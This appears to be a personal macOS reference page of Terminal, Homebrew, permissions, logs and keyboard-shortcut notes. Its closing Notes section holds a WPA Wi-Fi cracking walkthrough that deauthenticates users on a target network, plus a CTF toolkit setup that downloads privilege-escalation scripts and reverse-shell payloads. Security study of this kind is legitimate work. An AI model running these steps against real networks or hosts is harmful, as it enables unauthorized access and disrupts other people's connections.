macOS

macOS#

Table of Contents#

App

UI

macOS

Windows

File Manager

GUI

Finder

File Explorer

Shell/CLI

TUI

Zsh, Bash, PowerShell

PowerShell, Git Bash, Command Prompt

Terminal

GUI

Terminal.app

Windows Terminal

Text Editor

GUI

TextEdit

Notepad

 
/Users/<user>/anaconda3     # graphical install
/Users/<user>/opt/anaconda3 # shell install
MongoDB
PostgreSQL

Documentation#

[ d ] Terminal User Guide

  • [ d ] About Daemons and Services

    • [ d ] Scheduling Timed Jobs

  • [ d ] Automate tasks using AppleScript and Terminal on Mac

  • [ d ] Change Profiles Shell settings in Terminal on Mac

  • [ d ] Intro to shell scripts in Terminal on Mac

    • [ d ] Shell Scripting Primer

  • [ d ] Keyboard shortcuts in Terminal on Mac

  • [ d ] Make a file executable in Terminal on Mac

  • [ d ] Open or quit Terminal on Mac

  • [ d ] Schedule your Mac to turn on or off in Terminal

  • [ d ] Script management with launchd in Terminal on Mac

  • [ d ] Specify default and startup Terminal window profiles on Mac

  • [ d ] Use command-line text editors in Terminal on Mac

  • [ d ] Use profiles to change the look of Terminal windows on Mac

User Guide

  • [ d ] Set when your Mac shuts down while using a UPS

Terminal User Guide

Set a custom umask in macOS

  • sudo launchctl config user umask nnn

  • sudo launchctl config system umask nnn

  • sudo mkdir -m 755 /private/var/db/com.apple.xpc.launchd/config If Terminal responds “Could not write configuration: No such file or directory”.

  • default umask value: 022; default file value: 666; default folder value: 777

Homebrew Package Manager

  • Home

  • brew

    • brew -h How do I use command brew?

    • brew -v What is the Homebrew version?

File System#

The native graphical file explorer application on macOS is Finder.

The tilde ~ is an abbreviation for the user’s home directory /Users/USERNAME.

Some important user-level resources.

~
├── .bashrc            # config file: Bash shell
├── .condarc           # config file: Conda package manager
├── .gitconfig         # config file: Git version control system
├── .jupyter
│   ├── jupyter_lab_config.py
│   └── lab
├── .ssh
│   ├── id_ed25519     # SSH key pair: private key
│   └── id_ed25519.pub # SSH key pair: public key
├── .vimrc             # config file: Vim text editor
├── .zshrc             # config file: Z shell
│
├── Applications       # standard user directories
├── Desktop
├── Documents
└── Downloads

File System Permissions and ACLs

  • chgrp - change group

  • chmod - change file modes or Access Control Lists

  • chown - change file owner and group

  • chpass, chfn, chsh - add or change user database information

  • dscl - Directory Service command line utility

  • groups - show group memberships

  • id - return user identity

  • login - log into the computer

  • passwd - modify a user’s password

  • su

  • sudo

  • umask

  • users

  • visudo

  • xattr

Permissions

  • chown

  • delete

  • readattr

  • readextattr

  • readsecurity

  • writeattr

  • writeextattr

  • writesecurity

Directory Permissions

  • add_file

  • add_subdirectory

  • delete_child

  • list

  • search

Non Directory Permissions

  • append

  • execute

  • read

  • write

ACL Inheritance

  • directory_inherit

  • file_inherit

  • limit_inherit

  • only_inherit

/usr/libexec/ApplicationFirewall/socketfilterfw

  • /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate --getblockall --getallowsigned --getstealthmode

  • /usr/libexec/ApplicationFirewall/socketfilterfw --listapps

Package Management#

  • [ w ] Homebrew

  • [ w ] Package Manager

brew --version
brew upgrade && brew update && brew cleanup
brew search ansible
brew info ansible

GNU Utilities#

brew install autoconf
brew install bash
brew install binutils
brew install coreutils
brew install diffutils
brew install ed
brew install findutils
brew install flex
brew install gawk
brew install gnu-indent
brew install gnu-sed
brew install gnu-tar
brew install gnu-which
brew install gpatch
brew install grep
brew install gzip
brew install less
brew install m4
brew install make
brew install nano
brew install screen
brew install watch
brew install wdiff
brew install wget
brew isntall zip

Logs#

/var/log                         # unix-ish system-wide event logs (apps stored in `/usr/local` or `/opt`)
/var/log/system.log              # system log
/var/log/DiagnosticMessages      # mac analytics
/Library/Logs                    # mac-ish system-wide event logs
/Library/Logs/Diagnosticreports  # system reports
~/Library/Logs                   # user app logs
~/Library/Logs/DiagnosticReports # user reports

man log
man logger
man syslog

resources

Cron#

Grant /usr/sbin/cron full disk access via Settings -> Privacy and Security -> Full Disk Access -> + -> Cmd-Shift-G -> /usr/sbin/cron.

Magic Number#

/usr/share/file/magic

// helloworld.c
#include <stdio.h>

int main () {
  printf("Hello World!\n");
  return 0;
}

gcc helloworld.c -o helloworld
xxd -s0 -l4 -e helloworld      # little-endian

00000000: feedfacf                              ....

Keyboard Shortcuts#

[ d ] Mac keyboard shortcuts

Ctrl + Shift + - split cell
Option + Right go right one word
Option + Left go left one word
Command + Up go to cell start
Command + Down go to cell end
Command + z undo
Command + Shift + z redo
Command + ] indend
Command + [ dedent
Command + a select all
Option + delete delete preceding word
Command + delete delete preceding line

Shortcut

Graphical

Action

Cmd-Right

⌘→

Jump to the last/rightmost column

Cmd-Left

⌘←

Jump to the first/leftmost column

Cmd-Up

⌘↑

Jump to the first/topmost row

Cmd-Down

⌘↓

Jump to the last/bottommost row

Cmd-z

⌘z

Undo

Cmd-s

⌘s

Save

Cmd-c

⌘c

Copy

Cmd-v

⌘v

Paste

Cmd-f

⌘f

Search

Cmd-a

⌘a

Select All

Cursor

Shortcut

Graphical

Action

Cmd-Up

⌘↑

Move the insertion point to the beginning of the document

Cmd-Down

⌘↓

Move the insertion point to the end of the document

Cmd-Left

⌘←

Move the insertion point to the beginning of the line

Cmd-Right

⌘→

Move the insertion point to the end of the line

Opt-Left

⌥←

Move the insertion point to the beginning of the previous word

Opt-Right

⌥→

Move the insertion point to the end of the next word

Ctrl-A

⌃A

Move to the beginning of the line

Ctrl-E

⌃E

Move to the end of the line

Ctrl-F

⌃F

Move one character forward

Ctrl-B

⌃B

Move one character backward

Ctrl-L

⌃L

Center the cursor

Ctrl-P

⌃P

Move up one line

Ctrl-N

⌃N

Move down one line

  • Ctrl-A Move the cursor to the beginning of the line

  • Ctrl-E Move the cursor to the end of the line

  • Ctrl-K delete everything after the cursor

  • Ctrl-U delete entire line

  • Ctrl-D delete character

  • Ctrl-W delete word

  • Ctrl-Y get last command

  • Ctrl-_ undo

Copy-Paste

Shortcut

Graphical

Action

Cmd-X

⌘X

Cut & Copy

Cmd-C

⌘C

Copy

Cmd-V

⌘V

Paste

Cmd-Z

⌘Z

Undo

Shift-Cmd-Z

⇧⌘Z

Redo

Deletion

Shortcut

Action

Opt-Del

Delete the word to the left of the insertion point

Del, Ctrl-H

Delete the character to the left of the insertion point

Ctrl-D

Delete the character to the right of the insertion point

Ctrl-K

Delete the text between the insertion point and the end of the line or paragraph

Selection

Shortcut

Action

Description

Cmd-A

Select all

Shift-Cmd-Up

Current to top

Select the text between the insertion point and the beginning of the document

Shift-Cmd-Down

Current to bottom

Select the text between the insertion point and the end of the document

Shift-Cmd-Left

Current to line start

Select the text between the insertion point and the beginning of the current line

Shift-Cmd-Right

Current to line end

Select the text between the insertion point and the end of the current line

Shift-Up

Current to line up

Extend text selection to the nearest character at the same horizontal location on the line above

Shift-Down

Current to line down

Extend text selection to the nearest character at the same horizontal location on the line below

Shift-Left

Current to previous character

Extend text Selection one character to the left

Shift-Right

Current to next character

Extend text selection one character to the right

Opt-Shift-Up

Extend text selection to the beginning of the current paragraph, then to the beginning of the following paragraph if pressed again

Opt-Shift-Down

Extend text selection to the end of the current paragraph, then to the end of the following paragraph if pressed again

Opt-Shift-Left

Extend text selection to the beginning of the current word, then to the beginning of the following word if pressed again

Opt-Shift-Right

Extend text selection to the end of the current word, then to the end of the following word if pressed again

Other

Shortcut

Action

Ctrl-O

Insert a new line after the insertion point

Ctrl-T

Swap the character behind the insertion point with the character in front of the insertion point

Cmd-{

Left align

Cmd-}

Right align

Shift-Cmd-|

Center align

Shortcut

Action

Find

Cmd-F

Find Again, next occurrence

Cmd-G

Find Again, previous occurrence

Shift-Cmd-G

Hide the windows of the front app

Cmd-H

Hide the windows of all other apps other than the front app

Opt-Cmd-H

Minimize the front window

Cmd-M

Open the selected item or select a file to open

Cmd-O

Print

Cmd-P

Save

Cmd-S

New tab

Cmd-T

Close the front window

Cmd-W

Close all the windows of the front app

Opt-Cmd-W

Minimize all windows of the front app

Opt-Cmd-W

Force quit an app

Opt-Cmd-Esc

Show-hide the search utility

Cmd-Space

Show Character Viewer

Ctrl-Cmd-Space

Full screen app

Ctrl-Cmd-F

Switch to the most recently used app among open apps

Cmd-Tab, Shift-Cmd-Tab

Take a screenshot or screen recording

Shift-Cmd-5

Take a screenshot

Shift-Cmd-4

Take a screenshot immediately

Shift-Cmd-3

Create new

Cmd-N

Create new folder

Shift-Cmd-N

Open preferences for the front app

Cmd-Comma

iTerm2 Shortcuts#

[ d ] Keyboard shortcuts in Terminal on Mac

Textual

Graphical

Action

Opt-LeftClick

⌥+LeftClick

move the cursor to a different character in the command line

Cmd-D

⌘D

split window vertically with current profile

Shift-Cmd-D

⇧⌘D

split window horizontally with current profile

Opt-Shift-Cmd-V

⌥⇧⌘V

split window vertically

Opt-Shift-Cmd-H

⌥⇧⌘H

split window horizontally

Tips and Tricks#

Dragging a file into the terminal automatically types the path of the file.

Resources#

[ g ] donnemartin’s macOS development environment setup

https://osxdaily.com/2013/08/15/turn-the-terminal-into-a-matrix-style-scrolling-screen-of-binary-or-gibberish/

https://osxdaily.com/2013/12/06/snow-terminal-mac-os-x-command/

[ h ] menu bar

YouTube#

Linus Tech Tips

  • [ y ] 11-27-2023. “Apple please watch this. - Frore AirJet MacBook Air”.

NetworkChuck

  • [ y ] 11-21-2022. “50 macOS Tips and Tricks Using Terminal (the last one is CRAZY!)”.

Shannon Morse

  • [ y ] 01-31-2024. “Will Apple’s RCS Include End to End Encryption?”.

  • [ y ] 07-27-2015. Corey Schafer. “Mac OS X Terminal Tutorial: Time-Saving Keyboard Shortcuts”.

Terms#

  • [ w ] BSD Berkeley Software Distribution

  • [ w ] Darwin

  • [ w ] Graphical User Interface (GUI)

  • [ w ] Homebrew

  • [ w ] Mach

  • [ w ] Mach-O

  • [ w ] macOS

  • [ w ] NeXTSTEP

  • [ w ] Operating System (OS)

  • [ w ] Platform

  • [ w ] Platform Ecosystem

  • [ w ] POSIX

  • [ w ] PowerShell

  • [ w ] Preferred Executable Format (PEF)

  • [ w ] Text/Terminal User Interface (TUI)

  • [ w ] Unix

  • [ w ] XNU

Notes#

https://medium.com/small-tech-talk/macos-crack-wifi-passwords-134559960edd

# link airport to make it easily accessible
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

# sources, binaries, captures, dictionaries
mkdir -p hck/{src,bin,cap,dict}

#-----[ zizzania ]
cd hck/src
git clone git@github.com:cyrus-and/zizzania.git
cd zizzania
make -f config.Makefile
make
ln -s $(pwd)/src/zizzania ../../bin/zizzania
cd ../.. # back to root

#-----[ hashcat-utils ]
cd src
git clone git@github.com:hashcat/hashcat-utils.git
cd hashcat-utils/src
make
ln -s $(pwd)/cap2hccapx.bin ../../../bin/cap2hccapx
cd ../../.. # back to root

cd dict
wget http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2
bunzip rockyou.txt.bz2
cd .. # back to root

airport -s                       # scan available networks and choose a target
sudo airport --disassociate      # dissociate the network
sudo airport --channel=<channel> # set the channel to match the target network

sudo ./bin/zizzania -i en0 -b <BSSID> -w cap/capture.pcap -v # warning: this command deauthenticates users on the target network
./bin/cap2hccapx cap/capture.pcap cap/capture.hccapx         # convert capture to hccapx

hashcat -m 2500 cap/capture.hccapx dict/rockyou.txt

brew install pipx

scoop install pipx

https://medium.com/@seitzmanuel/how-to-get-your-mac-osx-ready-for-playing-ctfs-hacking-6b6801250d1e

brew install burp-suite
brew install owasp-zap
brew install ghidra
brew install wireshark
brew install nmap
brew install gobuster
brew install nikto
brew install wpscanteam/tap/wpscan
brew install metasploit
brew install exploitdb
brew install hashcat
brew install sambdabrew install binwalk
brew install exiftool
brew install aircrack-ng
brew install hydra
brew install sqlmap

git clone https://github.com/ShawnDEvans/smbmap.git
python -m pip install -r requirements.txt
ln -s smbmap/smbmap.py /usr/local/bin/smbmap

git clone https://github.com/CiscoCXSecurity/enum4linux.git
ln -s enum4linux/enum4linux.pl /usr/local/bin/enum4linux

pipx install crackmapexec
pipx install git+https://github.com/calebstewart/pwncat.git

git clone https://github.com/3ndG4me/KaliLists.git wordlists
gzip -d wordlists/rockyou.txt.gz

wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O master.zip
unzip master.zip
mv SecLists-master seclists

# chisel
wget https://github.com/jpillora/chisel/releases/download/v1.7.6/chisel_1.7.6_darwin_amd64.gz -O chisel_osx.gz
gunzip -c chisel_osx.gz > linux/chisel_osx
rm chisel_osx.gz
chmod +x linux/chisel_osx

# PEASS-ng
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh -O linux/linpeas.sh

# linenum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O linux/linenum.sh

# linux exploit suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O linux/linux-exploit-suggester.sh

# lse 
wget https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh -O linux/lse.sh

# pspy 
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64 -O linux/pspy64

# powerup
wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 -O windows/powerup.ps1

# jaws
wget https://raw.githubusercontent.com/411Hall/JAWS/master/jaws-enum.ps1 -O windows/jaws-enum.ps1

# print spoofer
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer32.exe -O windows/printspoof.exe

# powershells revs
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 -O reverse_shells/invoke-powershelltcp.ps1

# php rev shell
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O reverse_shells/php-rev-shell.php
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